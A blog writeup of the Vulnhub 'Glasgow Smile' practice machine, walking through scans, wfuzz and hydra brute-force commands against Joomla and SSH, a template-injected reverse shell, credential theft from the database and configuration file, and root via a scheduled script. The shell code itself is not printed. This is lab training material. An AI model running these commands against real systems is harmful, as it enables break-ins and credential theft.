Sunday 9 May 2021

Vulnhub Writeup: Glasgow Smile

Vulnhub - Glasgow Smile

Vulnhub Writeup - Glasgow Smile 1.1

glasgow smile login


Title: Glasgow Smile

Users: 5
Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)
Hint: Enumeration is the key.
If you are a newbie in Penetration Testing and afraid of OSCP preparation, do not worry. Glasgow Smile is supposed to be a kind of gym for OSCP machines.

The machine is designed to be as real-life as possible. Anyway, You will find also a bunch of ctf style challanges, it’s important to have some encryption knowledge.

You need to have enough information about Linux enumeration and encryption for privileges escalation.

Just download, extract and load the .vmx file in VMware Workstation (tested on VMware Workstation 15.x.x)

The adapter is currently NAT, networking is configured for DHCP and IP will get assigned automatically

You can contact me on Hack the box or by email ( for hints!

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))

22/tcp open ssh - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Normal banner

$ nc 22
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2

ssh user enumeration not working (all users in list valid)

check this out more later

80/tcp open http - Apache httpd 2.4.38 ((Debian))

Let’s start with a gobuster scan

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x bak,php,html,txt -u

/index.html (Status: 200)
/joomla (Status: 301)
/server-status (Status: 403)

home page

nothing in the page source for index.html, let’s check out Joomla!

Joomla Brute force

Usernames to try

  • admin
  • joomla
  • administrator
  • superuser

You can do this manually by clearing browser cookies, then hit the login page (/administrator/ by default). Gather the cookie. Try a login and grab the POST data. Then use the wfuzz command.

Get a wordlist from the website

cewl > cewl-joomla.txt

Grab a cookie & CSRF token

curl -i -s -k -X $'GET' -H $'Host:' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Ajax-Engine: Joomla!' -H $'Connection: close' -H $'Referer:' $'' --output - | grep -E "Set-Cookie|value"

grabbing a cookie and csrf

Run wfuzz - Check the output for the first non-hidden response as your csrf token will get burned once you login

wfuzz -w ./cewl-joomla.txt --hs="Username and password do not match or you do not have an account yet." -X POST -b "6821ee9ea803cd64e2920ca203163e81=fh651031upk1m2cagqe9mcqoma" -d "username=joomla&passwd=FUZZ&option=com_login&task=login&return=aW5kZXgucGhw&099afa929ff747b43ea8f8b58dd2fc0f=1" -u ''

adding -p '' --follow with burpsuite seems to make the response more reliable. Possibly because of a delay in requests.

password get

And we’re in at /administrator

Logged in

Reverse Shell

Login at /administrator, then click Extensions > Templates > Templates

templates menu

Click one of the templates

click one of the templates

Click index


Paste your code

paste your shell

Save it


Make sure your template is default, click Extensions > Template

extentions menu

Tick your template, click default

set default

Get code exec

get shell

And here is the working reverse shell

working reverse


First, I take a look for any interesting readable files in /home

find /home -ls 2>/dev/null
find /home -type f -ls 2>/dev/null

listable file names in /home

configuration.php has mysql username/password

joomla db password

I want to use the mysql command to check the content of the original database and see if there are any credentials to steal. In order to use this command we need a propper tty. This will mess up your console while typing, but keep going, it gets better!

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

^Z # Press CTRL+Z

stty size
stty raw -echo

stty rows XX cols XX

Now the shell should look more normal. mysql should work.

mysql -u joomla -p

proper tty

batjoke database has taskforce table, which looks to have some base64 encoded passwords.

batjoke database

Convert the b64 passwords

for line in $(cat pswd.b64); do echo $line | base64 -d ; echo "" ; done

auntis the fuck here

Add them to a password list and brute force ssh, usernames are pulled from /etc/passwd.

hydra ssh:// -L ./files/usernames.txt -P ./files/passwords.txt

hydra brute force

A single login is returned

[22][ssh] host:   login: rob   password: ???AllIHaveAreNegativeThoughts???

Now we get the user.txt and access to the Abnerineedyourhelp file

rob login

Which appears to be some cipher text and something that resembles base64

Abnerineedyourhelp file

This website does a pretty good job at decoding the text, but if you look at the alphabet it looks a little off.


It’s essentially just a ceaser cipher shifted by one. I use this website for playing with basic ciphers.

cryptii ceaser

And decoding the base64 gives abner’s password

base64 decode

ssh as abner

The abner user has access to the in /var/www/joomla2/administrator/manifests/

penguin zip

Which can be unzipped with his password


My dear penguins, we stand on a great threshold! It’s okay to be scared; many of you won’t be coming back. Thanks to Batman, the time has come to punish all of God’s children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!

I spent AGES trying to decode this to something with normal looking characters. Turns out it’s the ACTUAL PASSWORD! I tried all of the other encoded texts prior to this as the actual password and guess I’d given up with that strategy by now. Make sure to try strings that look encoded directly as passwords!

Hydra now gets the penguin user with this added to the password file.

hydra penguin

penguin to root

Using the penguin user we can now enter the SomeoneWhoHidesBehindAMask/ folder. Inside is a SUID find binary, but it’s owned by penguin so likely of no use.

There is also a .trash_old file which it is executable and owned by the root group which is a bit strange.

Running pspy64 shows that this is being executed as root on a schedule. Based on this I added a simple reverse shell to the script, set up a listener and we get a root shell.

trash.old file

Root shell


Written with StackEdit.

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